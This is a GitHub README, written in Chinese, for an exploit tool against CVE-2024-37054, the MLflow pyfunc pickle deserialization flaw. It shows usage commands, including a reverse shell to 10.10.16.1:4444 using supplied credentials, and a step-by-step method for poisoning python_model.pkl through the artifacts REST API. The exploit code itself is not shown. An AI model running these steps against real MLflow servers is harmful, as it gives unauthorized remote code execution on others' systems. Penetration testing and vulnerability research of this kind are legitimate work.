tristanqtn/CVE-2024-37054
GitHub: tristanqtn/CVE-2024-37054
一个利用MLflow pyfunc反序列化漏洞(CVE-2024-37054)实现远程代码执行的exploit工具。
Stars: 1 | Forks: 0
# CVE-2024-37054 — MLflow pyfunc 反序列化远程代码执行漏洞
**严重性:** 严重
**影响版本:** MLflow 0.9.0 – 2.14.1
**漏洞类型:** 通过 Python pickle 反序列化实现任意代码执行
## 描述
`mlflow.pyfunc.load_model()` 会从制品存储区反序列化 `python_model.pkl` 文件,且不进行任何消毒处理。能够访问 MLflow 制品 REST API 的攻击者可以覆盖该文件为恶意 pickle 文件,当模型下次被加载时,将执行任意操作系统命令。
## 前提条件
```
pip install requests cloudpickle
```
## 用法
```
# 枚举已注册模型
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# 显式模型 + MLflow 基本认证
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
```
## 关键选项
| 标志 | 描述 |
|------|------|
| `--mlflow URL` | MLflow 跟踪服务器基础 URL(必填) |
| `--model NAME` | 已注册模型名称 — 若省略则自动选择第一个 |
| `--version N` | 模型版本 — 默认为最新版本 |
| `--user / --pass` | MLflow 的 HTTP Basic Auth 凭证 |
| `--run-id / --exp-id` | 使用已知 ID 跳过模型发现步骤 |
| `--trigger-url URL` | 调用 `load_model()` 的应用端点 — 若省略则仅上传 |
| `--session COOKIE` | 随触发请求发送的会话 cookie |
## 工作原理
1. **发现** — 查询 `/api/2.0/mlflow/registered-models/search` 以找到模型及其 `run_id` / `experiment_id`
2. **投毒** — 通过 `PUT` 请求将恶意 cloudpickle 载荷上传至 `/api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl`
3. **触发** — 任何对该模型调用 `mlflow.pyfunc.load_model()` 的代码路径将反序列化载荷并执行命令
触发步骤需要一个加载模型的应用端点。如果未知,可以使用 `--no-trigger`(或省略 `--trigger-url`),然后通过任何可用的方式触发加载。
## 免责声明
仅限用于授权渗透测试和教育目的。
标签:威胁模拟, 逆向工具